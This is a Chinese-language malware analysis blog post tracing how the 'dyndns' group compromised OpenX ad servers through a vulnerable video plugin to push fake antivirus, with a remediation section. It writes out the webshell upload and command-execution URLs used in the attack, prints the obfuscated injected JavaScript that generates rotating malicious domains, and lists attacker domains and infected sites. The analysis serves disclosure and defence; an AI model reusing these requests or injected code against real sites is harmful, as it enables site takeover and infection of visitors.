目錄:
[1. 摘要]
[2. 感染過程]
[3. OpenX的漏洞]
[4. 攻擊方式]
[5. 如何修補網站]
[6. Exploit Pack]
[7. 變動的惡意網域]
[8. 亂數產生的PHP檔名?]
[9. "dyndns" 團隊]
[10. 被感染的網站列表]
[1. 摘要]
影響: 瀏覽者瀏覽了受感染的網站將導致電腦被裝上 "Personal Shield Pro" 這套"偽"防毒軟體。
起因: 在OpenX官方網站上提供了具有漏洞的插件。
Exploit pack: 本次事件中所使用的是 g01pack exploit pack。
攻擊團隊: 在內部我們稱之為 "dyndns" 團隊,此團隊也涉及我們在五月多針對Clicksor事件的報導,在更早之前也與其他類型的網頁惡意程式事件有關。
被感染的網站列表:
theastrologer.com
bancadellecase.com
thrillldrillls.com
luckymoving.com
fastodds.com
mediabooks.com
dfonline.jp
dailynews.co.za
perefoorum.ee
sasites.co.za
abmotor.pt
medical-tribune.co.jp
diamondcard.it
adrenal-fatigue.de
allergien-behandeln.de
rhr.ru
kuku.ee
handwerkermarkt.de
[2. 感染過程]
從2009年開始,GMO與阿碼科技便在日本部署了網頁掛馬監控服務平臺,而我們也一直致力於研究網頁惡意程式的威脅。
從今年五月開始,我們就鎖定了一個團隊:"dyndns"。在五月中旬時,我們報導了一篇:超過一半以上的惡意廣告來自Clicksor,該事件也與此團體有關。
而在該篇報導不久之後,此團體即開始攻擊有使用 OpenX 來提供廣告功能的網站。瀏覽者一旦瀏覽了被感染的網站,電腦就會被安裝上偽裝的防毒軟體 (普遍稱之為流氓軟體)。此軟體會取消系統絕大部份的功能,並且透過此現象來讓瀏覽者認為自己的電腦真的中毒。之後此軟體會告訴瀏覽者,解決的方法就是去購買這一套 "流氓軟體",在購買之後,瀏覽者便等同於將自己的信用卡卡號洩露出去。
以下是一部當瀏覽者瀏覽了此類型網站時所產生的結果 (此網站位於日本,為實際上被感染的網站):
[3. OpenX的漏洞]
所有被感染的網站都有一個共通的特性:都安裝了OpenX來提供廣告,其中有些使用的還是最新的版本-2.8.7。此事件中被感染的OpenX檔案大部份是ajs.php,下面為一個完整的URL範例:
http://www.theastrologer.com/openx/www/delivery/ajs.php?zoneid=3&cb=4021406622&charset=utf-8&loc=http%3A//theastrologer.com/為什麼即使安裝了最新版的OpenX 還是會被入侵呢?為了解開這個原因,我們再進一步的追蹤下去。如同你們所見,在被感染的網站(bancadellecase.it)中,有一隻webshell:
http://bancadellecase.it/admin/banner/www/admin/plugins/videoReport/lib/tmp-upload-images/image.php
Webshell是一個後門程式,允許攻擊者完全掌控被入侵的網站。
往Webshell存在路徑的上一層走去,我們可以看到有許許多多的檔案,每一個檔案就代表著每次使用者嘗試上傳的記錄:
第一個成功的上傳我們可以發現到是在六月26日,而從圖中我們可以發現一個明顯的情況:在攻擊者成功上傳了webshell後,他便隨即將目錄的存取權限限制起來,此行為導致之後的上傳行為都失效。
經過我們分析,WebShell應該是透過 OpenX 的一個 Video Plugin 的漏洞上傳的 ( OpenX 網站上面的連結 )
此壓縮檔包含了OpenX Video Plugin版本1.1,此版本包含了Open Flash Chart,該套件自從2009年後就沒有被更新,並且存在一個已知的漏洞 (未限制上傳檔案內容,CVE-2009-4140)
如下圖所示,在下載並且安裝從 Openx 上的這個插件後,可以看到此套件的版本為1.1:
1.1版本已經屬於舊的版本,目前該Video插件最新版的是1.8.7,如下所示:
[4. 攻擊方式]
1. 攻擊者首先測試 ofc_upload_image.php 檔案是否存在:
http://victim.com/www/admin/plugins/videoReport/lib/ofc2/ofc_upload_image.php
2. 如果存在,攻擊者則透過下面的要求建立一個簡單的webshell:
http://victim.com/www/admin/plugins/videoReport/lib/ofc2/ofc_upload_image.php?name=shell.php&HTTP_RAW_POST_DATA=
3. 攻擊者接下來確認shell是否有被成功的上傳:
4. 一旦上傳成功,攻擊者則可以透過以下URL執行任何系統指令:
http://victim.com/www/admin/plugins/videoReport/lib/tmp-upload-images/shell.php?cmd=ipconfig
5. 使用上傳好的shell來將惡意的javascript插入 OpenX 的php檔案。以本次事件來舉例:
http://www.theastrologer.com/openx/www/delivery/ajs.php?zoneid=3&cb=4021406622&charset=utf-8&loc=http%3A//theastrologer.com/
[5. 如何修補網站]
網站管理者需要點選 OpenX 管理介面的 "插件" 分頁去確認他們所使用的 openXVideoAds 版本 (如上一節所示)。只要是版本比1.8.7還舊的,可以透過以下簡單的步驟修正這個漏洞:
1. 進入 ofc2 目錄,一般常見路徑如下:
/admin/banner/www/admin/plugins/videoReport/lib/ofc2
2. 在該目錄下,找到 ofc_upload_image.php 檔案之後清空此檔案的內容:
/admin/banner/www/admin/plugins/videoReport/lib/ofc2/ofc_upload_image.php
此即 1.8.7 修正此漏洞的方式。
[6. Exploit Pack]
本次事件觀察到的Exploit Pack為 g01pack exploit pack:
[7. 變動的惡意網域]
接下來我們來看看在這波攻擊中,攻擊者所使用的網域:
blogtxcl.dyndns-blog.com
blogtvaj.dyndns-blog.com
blogkmra.dyndns-blog.com
blogrsxg.dyndns-blog.com
blogopud.dyndns-blog.com
bloghinw.dyndns-blog.com
blogcdir.dyndns-blog.com
blogwwbk.dyndns-blog.com
blogrrwf.dyndns-blog.com
blogootc.dyndns-blog.com
以及:
officekhmv.dyndns-office.com
officetnsb.dyndns-office.com
officetlqz.dyndns-office.com
officevfkt.dyndns-office.com
officeluzi.dyndns-office.com
officeeinw.dyndns-office.com
officejmra.dyndns-office.com
officeklqz.dyndns-office.com
officecdir.dyndns-office.com
officexcgp.dyndns-office.com
officeccgp.dyndns-office.com
顯然,這些網域有著相同的格式:_X_random.dyndns-X.com。在第一個例子中,X=blog,而在第二個例子中,X=office。事實上,這就是變動網域如何產生的方式。讓我們來看看在OpenX 的 ajs.php 中插入的惡意程式碼片段:
http://www.theastrologer.com/openx/www/delivery/ajs.php?zoneid=3&cb=4021406622&charset=utf-8&loc=http%3A//theastrologer.com/以下為插入的一部份程式碼:
function T(harlots, ralphed) { soberer = harlots; var r = String("abcdefghi5zI9".substr(0, 9) + "jklmnopqrA2B".substr(0, 9) + "stuvwxyz"); var limpsey = new String("charARvGp".substr(0, 5) + "t"); var doglegs = "length"; footies = new Date(); var leisure = Math.floor(footies.getUTCHours()); var wyverns = footies.getUTCDate(); var dusters = footies.getUTCMonth(); var evinces = footies.getUTCFullYear(); var anchors = (leisure % r[doglegs]); var a = (leisure + wyverns) % r[doglegs]; var romanos = (leisure + wyverns + dusters) % r[doglegs]; var sorcery = (leisure + wyverns + dusters + evinces) % r[doglegs]; soberer += r[limpsey](anchors); soberer += r[limpsey](a); soberer += r[limpsey](romanos); soberer += r[limpsey](sorcery); return soberer + ralphed; }而這邊說明了 "T" 這個函式是如何被呼叫的:
var soberer = T(new String(\"blou0s\".substr(0,3)+\"glqSm\".substr(0,1)), new String(\".dyndns-\"+\"blog.com\"));String(\"blou0s\".substr(0,3)+\"glqSm\".substr(0,1)) 可以解為:
"blog"
而 String(\".dyndns-\"+\"blog.com\") 可以解為:
"dyndns-blog.com"
透過上述的演算法產生了變動的惡意網域 (_X_random.dyndns-X.com)。此演算法會隨著不同的年、月、日、時,產生不同的惡意網域。
[8. 亂數產生的PHP檔名?]
目前我們已經了解了惡意程式碼所產生的網域名部份,現在讓我們來看看透過它產生出來的整個URL。舉例如下:
http://nwetdsou.dyndns-web.com/images/aeea8469e09d31020332ac926f183eaa.php?thread_id=2&f=131263&topic_id=de_at&讓我們來看看檔名部份:aeea8469e09d31020332ac926f183eaa.php。看起來是亂數產生的,是嗎? 其實並不是,如果透過Google搜尋它,可以看到我們之前的報告:超過一半以上的惡意廣告來自Clicksor。(該篇文章中所提到的惡意網頁目前已失效,僅剩結果可供參考)
所以看似亂數的 "aeea8469e09d31020332ac926f183eaa.php" 在過去確實出現過。
此外,在我們與GMO-HS 合作的惡意程式研究中心中,此檔案 "aeea8469e09d31020332ac926f183eaa.php" 在最近也出現多次,部份與此次事件有關,部份則是屬於其他事件。一個有趣的狀況是:儘管網域名稱是會變動的,但是檔名的部份卻是固定的,只是讓人看起來以為是亂數產生。
舉例:
http://nwetdsou.dyndns-web.com/images/aeea8469e09d31020332ac926f183eaa.php?thread_id=2&f=131263&topic_id=de_at& http://set.gambulingwebsites.com/news/aeea8469e09d31020332ac926f183eaa.php?thread_id=2&f=5090485&topic_id=1994& http://tracks.fresnobabies.com/news/aeea8469e09d31020332ac926f183eaa.php?start=2&thread_id=3336736&forum_id=1992& http://vvvvvv.dyndns-mail.com/news/aeea8469e09d31020332ac926f183eaa.php?start=2&thread_id=3271149&forum_id=1997& http://tracks.fresnobabies.com/news/aeea8469e09d31020332ac926f183eaa.php?start=2&thread_id=2336475&forum_id=1992& http://blog.equine-webdesign.com/news/aeea8469e09d31020332ac926f183eaa.php?start=2&thread_id=2328756&forum_id=2010& http://grand.atlantahomevaluesnow.com/news/aeea8469e09d31020332ac926f183eaa.php?start=2&thread_id=56082781&forum_id=1992& http://payments.cavatars.mobi/news/aeea8469e09d31020332ac926f183eaa.php?start=2&thread_id=55210399&forum_id=1991&
[9. "dyndns" 團隊]
因此,這些看似亂數的檔名 "aeea8469e09d31020332ac926f183eaa.php" 並不是真的亂數產生,實際上,這是一個普遍被"dyndns"團隊拿來使用的檔名,而且也在我們五月份的報告(超過一半以上的惡意廣告來自Clicksor)中出現,除此之外,在其他事件中也有看到此種檔名的蹤跡。
[10. 被感染的網站列表]
以下為在此次事件中受影響的網站:
theastrologer.com
bancadellecase.com
thrillldrillls.com
luckymoving.com
fastodds.com
mediabooks.com
dfonline.jp
dailynews.co.za
perefoorum.ee
sasites.co.za
abmotor.pt
medical-tribune.co.jp
diamondcard.it
adrenal-fatigue.de
allergien-behandeln.de
rhr.ru
kuku.ee
handwerkermarkt.de
3 篇回應 :
分拆解釋詳細,個人對此非專業,
只能瞭解大概, 也感覺是上專業的一課 ~
阿碼科技的深入創新 深得Proofpoint信任
這次漂亮的併購 令人振奮! 我以身為阿碼的一份子為榮!
台灣資安之光-阿碼科技,榮獲Proofpoint 之賞識,雙方決定攜手在APT攻擊場上,擊出第一支全疊打,並在阿碼全體同仁嚴密守備及強大打擊實力下,未來在資安球場上,必定會交出一張漂亮成績單
張貼留言